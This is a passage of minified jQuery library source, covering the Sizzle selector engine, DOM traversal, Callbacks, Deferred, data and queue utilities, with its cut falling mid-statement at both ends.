t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+R+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")}))),(n.matchesSelector=K.test(y=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ce((function(e){n.disconnectedMatch=y.call(e,"*"),y.call(e,"[s!='']:x"),m.push("!=",W)})),v=v.length&&new RegExp(v.join("|")),m=m.length&&new RegExp(m.join("|")),t=K.test(h.compareDocumentPosition),x=t||K.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},A=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e==d||e.ownerDocument==w&&x(w,e)?-1:t==d||t.ownerDocument==w&&x(w,t)?1:c?H(c,e)-H(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,s=[e],a=[t];if(!i||!o)return e==d?-1:t==d?1:i?-1:o?1:c?H(c,e)-H(c,t):0;if(i===o)return pe(e,t);for(n=e;n=n.parentNode;)s.unshift(n);for(n=t;n=n.parentNode;)a.unshift(n);for(;s[r]===a[r];)r++;return r?pe(s[r],a[r]):s[r]==w?-1:a[r]==w?1:0},d):d},ae.matches=function(e,t){return ae(e,null,null,t)},ae.matchesSelector=function(e,t){if(p(e),n.matchesSelector&&g&&!N[t+" "]&&(!m||!m.test(t))&&(!v||!v.test(t)))try{var r=y.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){N(t,!0)}return ae(t,d,null,[e]).length>0},ae.contains=function(e,t){return(e.ownerDocument||e)!=d&&p(e),x(e,t)},ae.attr=function(e,t){(e.ownerDocument||e)!=d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&D.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},ae.escape=function(e){return(e+"").replace(re,ie)},ae.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ae.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(A),f){for(;t=e[o++];)t===e[o]&&(i=r.push(o));for(;i--;)e.splice(r[i],1)}return c=null,e},i=ae.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=i(t);return n},(r=ae.selectors={cacheLength:50,createPseudo:le,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||ae.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&ae.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=s(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+R+")"+e+"("+R+"|$)"))&&E(e,(function(e){return t.test("string"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute("class")||"")}))},ATTR:function(e,t,n){return function(r){var i=ae.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace(F," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),s="last"!==e.slice(-4),a="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==s?"nextSibling":"previousSibling",v=t.parentNode,m=a&&t.nodeName.toLowerCase(),y=!u&&!a,x=!1;if(v){if(o){for(;g;){for(p=t;p=p[g];)if(a?p.nodeName.toLowerCase()===m:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[s?v.firstChild:v.lastChild],s&&y){for(x=(d=(l=(c=(f=(p=v)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&v.childNodes[d];p=++d&&p&&p[g]||(x=d=0)||h.pop();)if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(y&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)for(;(p=++d&&p&&p[g]||(x=d=0)||h.pop())&&((a?p.nodeName.toLowerCase()!==m:1!==p.nodeType)||!++x||(y&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p!==t)););return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||ae.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?le((function(e,n){for(var r,o=i(e,t),s=o.length;s--;)e[r=H(e,o[s])]=!(n[r]=o[s])})):function(e){return i(e,0,n)}):i}},pseudos:{not:le((function(e){var t=[],n=[],r=a(e.replace(B,"$1"));return r[b]?le((function(e,t,n,i){for(var o,s=r(e,null,i,[]),a=e.length;a--;)(o=s[a])&&(e[a]=!(t[a]=o))})):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}})),has:le((function(e){return function(t){return ae(e,t).length>0}})),contains:le((function(e){return e=e.replace(te,ne),function(t){return(t.textContent||i(t)).indexOf(e)>-1}})),lang:le((function(e){return V.test(e||"")||ae.error("unsupported lang: "+e),e=e.replace(te,ne).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}})),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Y.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve((function(){return[0]})),last:ve((function(e,t){return[t-1]})),eq:ve((function(e,t,n){return[n<0?n+t:n]})),even:ve((function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e})),odd:ve((function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e})),lt:ve((function(e,t,n){for(var r=n<0?n+t:n>t?t:n;--r>=0;)e.push(r);return e})),gt:ve((function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e}))}}).pseudos.nth=r.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=de(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=he(t);function ye(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(e,t,n){var r=t.dir,i=t.next,o=i||r,s=n&&"parentNode"===o,a=C++;return t.first?function(t,n,i){for(;t=t[r];)if(1===t.nodeType||s)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,a];if(u){for(;t=t[r];)if((1===t.nodeType||s)&&e(t,n,u))return!0}else for(;t=t[r];)if(1===t.nodeType||s)if(c=(f=t[b]||(t[b]={}))[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===a)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function we(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function Te(e,t,n,r,i){for(var o,s=[],a=0,u=e.length,l=null!=t;a<u;a++)(o=e[a])&&(n&&!n(o,r,i)||(s.push(o),l&&t.push(a)));return s}function Ce(e,t,n,r,i,o){return r&&!r[b]&&(r=Ce(r)),i&&!i[b]&&(i=Ce(i,o)),le((function(o,s,a,u){var l,c,f,p=[],d=[],h=s.length,g=o||function(e,t,n){for(var r=0,i=t.length;r<i;r++)ae(e,t[r],n);return n}(t||"*",a.nodeType?[a]:a,[]),v=!e||!o&&t?g:Te(g,p,e,a,u),m=n?i||(o?e:h||r)?[]:s:v;if(n&&n(v,m,a,u),r)for(l=Te(m,d),r(l,[],a,u),c=l.length;c--;)(f=l[c])&&(m[d[c]]=!(v[d[c]]=f));if(o){if(i||e){if(i){for(l=[],c=m.length;c--;)(f=m[c])&&l.push(v[c]=f);i(null,m=[],l,u)}for(c=m.length;c--;)(f=m[c])&&(l=i?H(o,f):p[c])>-1&&(o[l]=!(s[l]=f))}}else m=Te(m===s?m.splice(h,m.length):m),i?i(null,s,m,u):_.apply(s,m)}))}function Ee(e){for(var t,n,i,o=e.length,s=r.relative[e[0].type],a=s||r.relative[" "],u=s?1:0,c=be((function(e){return e===t}),a,!0),f=be((function(e){return H(t,e)>-1}),a,!0),p=[function(e,n,r){var i=!s&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[be(we(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o&&!r.relative[e[i].type];i++);return Ce(u>1&&we(p),u>1&&xe(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ee(e.slice(u,i)),i<o&&Ee(e=e.slice(i)),i<o&&xe(e))}p.push(n)}return we(p)}return ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,s=ae.tokenize=function(e,t){var n,i,o,s,a,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);for(a=e,u=[],l=r.preFilter;a;){for(s in n&&!(i=$.exec(a))||(i&&(a=a.slice(i[0].length)||a),u.push(o=[])),n=!1,(i=z.exec(a))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),a=a.slice(n.length)),r.filter)!(i=Q[s].exec(a))||l[s]&&!(i=l[s](i))||(n=i.shift(),o.push({value:n,type:s,matches:i}),a=a.slice(n.length));if(!n)break}return t?a.length:a?ae.error(e):k(e,u).slice(0)},a=ae.compile=function(e,t){var n,i=[],o=[],a=S[e+" "];if(!a){for(t||(t=s(e)),n=t.length;n--;)(a=Ee(t[n]))[b]?i.push(a):o.push(a);(a=S(e,function(e,t){var n=t.length>0,i=e.length>0,o=function(o,s,a,u,c){var f,h,v,m=0,y="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=s==d||s||c);y!==k&&null!=(f=C[y]);y++){if(i&&f){for(h=0,s||f.ownerDocument==d||(p(f),a=!g);v=e[h++];)if(v(f,s||d,a)){u.push(f);break}c&&(T=E)}n&&((f=!v&&f)&&m--,o&&x.push(f))}if(m+=y,n&&y!==m){for(h=0;v=t[h++];)v(x,b,s,a);if(o){if(m>0)for(;y--;)x[y]||b[y]||(b[y]=L.call(u));b=Te(b)}_.apply(u,b),c&&!o&&b.length>0&&m+t.length>1&&ae.uniqueSort(u)}return c&&(T=E,l=w),x};return n?le(o):o}(o,i))).selector=e}return a},u=ae.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&s(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(te,ne),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}for(o=Q.needsContext.test(e)?0:u.length;o--&&(l=u[o],!r.relative[c=l.type]);)if((f=r.find[c])&&(i=f(l.matches[0].replace(te,ne),ee.test(u[0].type)&&me(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&xe(u)))return _.apply(n,i),n;break}}return(p||a(e,d))(i,t,!g,n,!t||ee.test(e)&&me(t.parentNode)||t),n},n.sortStable=b.split("").sort(A).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ce((function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))})),ce((function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")}))||fe("type|href|height|width",(function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)})),n.attributes&&ce((function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")}))||fe("value",(function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue})),ce((function(e){return null==e.getAttribute("disabled")}))||fe(P,(function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null})),ae}(n);C.find=k,C.expr=k.selectors,C.expr[":"]=C.expr.pseudos,C.uniqueSort=C.unique=k.uniqueSort,C.text=k.getText,C.isXMLDoc=k.isXML,C.contains=k.contains,C.escapeSelector=k.escape;var S=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&C(e).is(n))break;r.push(e)}return r},N=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},A=C.expr.match.needsContext;function D(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var j=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function L(e,t,n){return m(t)?C.grep(e,(function(e,r){return!!t.call(e,r,e)!==n})):t.nodeType?C.grep(e,(function(e){return e===t!==n})):"string"!=typeof t?C.grep(e,(function(e){return c.call(t,e)>-1!==n})):C.filter(t,e,n)}C.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?C.find.matchesSelector(r,e)?[r]:[]:C.find.matches(e,C.grep(t,(function(e){return 1===e.nodeType})))},C.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(C(e).filter((function(){for(t=0;t<r;t++)if(C.contains(i[t],this))return!0})));for(n=this.pushStack([]),t=0;t<r;t++)C.find(e,i[t],n);return r>1?C.uniqueSort(n):n},filter:function(e){return this.pushStack(L(this,e||[],!1))},not:function(e){return this.pushStack(L(this,e||[],!0))},is:function(e){return!!L(this,"string"==typeof e&&A.test(e)?C(e):e||[],!1).length}});var q,_=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(C.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:_.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof C?t[0]:t,C.merge(this,C.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:x,!0)),j.test(r[1])&&C.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=x.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(C):C.makeArray(e,this)}).prototype=C.fn,q=C(x);var O=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}C.fn.extend({has:function(e){var t=C(e,this),n=t.length;return this.filter((function(){for(var e=0;e<n;e++)if(C.contains(this,t[e]))return!0}))},closest:function(e,t){var n,r=0,i=this.length,o=[],s="string"!=typeof e&&C(e);if(!A.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(s?s.index(n)>-1:1===n.nodeType&&C.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?C.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?c.call(C(e),this[0]):c.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(C.uniqueSort(C.merge(this.get(),C(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),C.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return S(e,"parentNode")},parentsUntil:function(e,t,n){return S(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return S(e,"nextSibling")},prevAll:function(e){return S(e,"previousSibling")},nextUntil:function(e,t,n){return S(e,"nextSibling",n)},prevUntil:function(e,t,n){return S(e,"previousSibling",n)},siblings:function(e){return N((e.parentNode||{}).firstChild,e)},children:function(e){return N(e.firstChild)},contents:function(e){return null!=e.contentDocument&&s(e.contentDocument)?e.contentDocument:(D(e,"template")&&(e=e.content||e),C.merge([],e.childNodes))}},(function(e,t){C.fn[e]=function(n,r){var i=C.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=C.filter(r,i)),this.length>1&&(H[e]||C.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}}));var R=/[^\x20\t\r\n\f]+/g;function M(e){return e}function I(e){throw e}function W(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}C.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return C.each(e.match(R)||[],(function(e,n){t[n]=!0})),t}(e):C.extend({},e);var t,n,r,i,o=[],s=[],a=-1,u=function(){for(i=i||e.once,r=t=!0;s.length;a=-1)for(n=s.shift();++a<o.length;)!1===o[a].apply(n[0],n[1])&&e.stopOnFalse&&(a=o.length,n=!1);e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(a=o.length-1,s.push(n)),function t(n){C.each(n,(function(n,r){m(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==T(r)&&t(r)}))}(arguments),n&&!t&&u()),this},remove:function(){return C.each(arguments,(function(e,t){for(var n;(n=C.inArray(t,o,n))>-1;)o.splice(n,1),n<=a&&a--})),this},has:function(e){return e?C.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=s=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=s=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],s.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l},C.extend({Deferred:function(e){var t=[["notify","progress",C.Callbacks("memory"),C.Callbacks("memory"),2],["resolve","done",C.Callbacks("once memory"),C.Callbacks("once memory"),0,"resolved"],["reject","fail",C.Callbacks("once memory"),C.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},catch:function(e){return i.then(null,e)},pipe:function(){var e=arguments;return C.Deferred((function(n){C.each(t,(function(t,r){var i=m(e[r[4]])&&e[r[4]];o[r[1]]((function(){var e=i&&i.apply(this,arguments);e&&m(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[r[0]+"With"](this,i?[e]:arguments)}))})),e=null})).promise()},then:function(e,r,i){var o=0;function s(e,t,r,i){return function(){var a=this,u=arguments,l=function(){var n,l;if(!(e<o)){if((n=r.apply(a,u))===t.promise())throw new TypeError("Thenable self-resolution");l=n&&("object"==typeof n||"function"==typeof n)&&n.then,m(l)?i?l.call(n,s(o,t,M,i),s(o,t,I,i)):(o++,l.call(n,s(o,t,M,i),s(o,t,I,i),s(o,t,M,t.notifyWith))):(r!==M&&(a=void 0,u=[n]),(i||t.resolveWith)(a,u))}},c=i?l:function(){try{l()}catch(n){C.Deferred.exceptionHook&&C.Deferred.exceptionHook(n,c.stackTrace),e+1>=o&&(r!==I&&(a=void 0,u=[n]),t.rejectWith(a,u))}};e?c():(C.Deferred.getStackHook&&(c.stackTrace=C.Deferred.getStackHook()),n.setTimeout(c))}}return C.Deferred((function(n){t[0][3].add(s(0,n,m(i)?i:M,n.notifyWith)),t[1][3].add(s(0,n,m(e)?e:M)),t[2][3].add(s(0,n,m(r)?r:I))})).promise()},promise:function(e){return null!=e?C.extend(e,i):i}},o={};return C.each(t,(function(e,n){var s=n[2],a=n[5];i[n[1]]=s.add,a&&s.add((function(){r=a}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock),s.add(n[3].fire),o[n[0]]=function(){return o[n[0]+"With"](this===o?void 0:this,arguments),this},o[n[0]+"With"]=s.fireWith})),i.promise(o),e&&e.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=a.call(arguments),o=C.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?a.call(arguments):n,--t||o.resolveWith(r,i)}};if(t<=1&&(W(e,o.done(s(n)).resolve,o.reject,!t),"pending"===o.state()||m(i[n]&&i[n].then)))return o.then();for(;n--;)W(i[n],s(n),o.reject);return o.promise()}});var F=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;C.Deferred.exceptionHook=function(e,t){n.console&&n.console.warn&&e&&F.test(e.name)&&n.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},C.readyException=function(e){n.setTimeout((function(){throw e}))};var B=C.Deferred();function $(){x.removeEventListener("DOMContentLoaded",$),n.removeEventListener("load",$),C.ready()}C.fn.ready=function(e){return B.then(e).catch((function(e){C.readyException(e)})),this},C.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--C.readyWait:C.isReady)||(C.isReady=!0,!0!==e&&--C.readyWait>0||B.resolveWith(x,[C]))}}),C.ready.then=B.then,"complete"===x.readyState||"loading"!==x.readyState&&!x.documentElement.doScroll?n.setTimeout(C.ready):(x.addEventListener("DOMContentLoaded",$),n.addEventListener("load",$));var z=function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if("object"===T(n))for(a in i=!0,n)z(e,t,a,n[a],!0,o,s);else if(void 0!==r&&(i=!0,m(r)||(s=!0),l&&(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(C(e),n)})),t))for(;a<u;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},U=/^-ms-/,X=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function Q(e){return e.replace(U,"ms-").replace(X,V)}var G=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Y(){this.expando=C.expando+Y.uid++}Y.uid=1,Y.prototype={cache:function(e){var t=e[this.expando];return t||(t={},G(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[Q(t)]=n;else for(r in t)i[Q(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][Q(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(Q):(t=Q(t))in r?[t]:t.match(R)||[]).length;for(;n--;)delete r[t[n]]}(void 0===t||C.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!C.isEmptyObject(t)}};var J=new Y,K=new Y,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}C.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),C.fn.extend({data:function(e,t){var n,r,i,o=this[0],s=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){for(n=s.length;n--;)s[n]&&0===(r=s[n].name).indexOf("data-")&&(r=Q(r.slice(5)),te(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each((function(){K.set(this,e)})):z(this,(function(t){var n;if(o&&void 0===t)return void 0!==(n=K.get(o,e))||void 0!==(n=te(o,e))?n:void 0;this.each((function(){K.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){K.remove(this,e)}))}}),C.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,C.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=C.queue(e,t),r=n.length,i=n.shift(),o=C._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,(function(){C.dequeue(e,t)}),o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:C.Callbacks("once memory").add((function(){J.remove(e,[t+"queue",n])}))})}}),C.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?C.queue(this[0],e):void 0===t?this:this.each((function(){var n=C.queue(this,e,t);C._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&C.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){C.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=C.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";s--;)(n=J.get(o[s],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(a));return a(),i.promise(t)}});var ne=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,re=new RegExp("^(?:([+-])=|)("+ne+")([a-z%]*)$","i"),ie=["Top","Right","Bottom","Left"],oe=x.documentElement,se=function(e){return C.contains(e.ownerDocument,e)},ae={composed:!0};oe.getRootNode&&(se=function(e){return C.contains(e.ownerDocument,e)||e.getRootNode(ae)===e.ownerDocument});var ue=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&se(e)&&"none"===C.css(e,"display")};function le(e,t,n,r){var i,o,s=20,a=r?function(){return r.cur()}:function(){return C.css(e,t,"")},u=a(),l=n&&n[3]||(C.cssNumber[t]?"":"px"),c=e.nodeType&&(C.cssNumber[t]||"px"!==l&&+u)&&re.exec(C.css(e,t));if(c&&c[3]!==l){for(u/=2,l=l||c[3],c=+u||1;s--;)C.style(e,t,c+l),(1-o)*(1-(o=a()/u||.5))<=0&&(s=0),c/=o;c*=2,C.style(e,t,c+l),n=n||[]}return 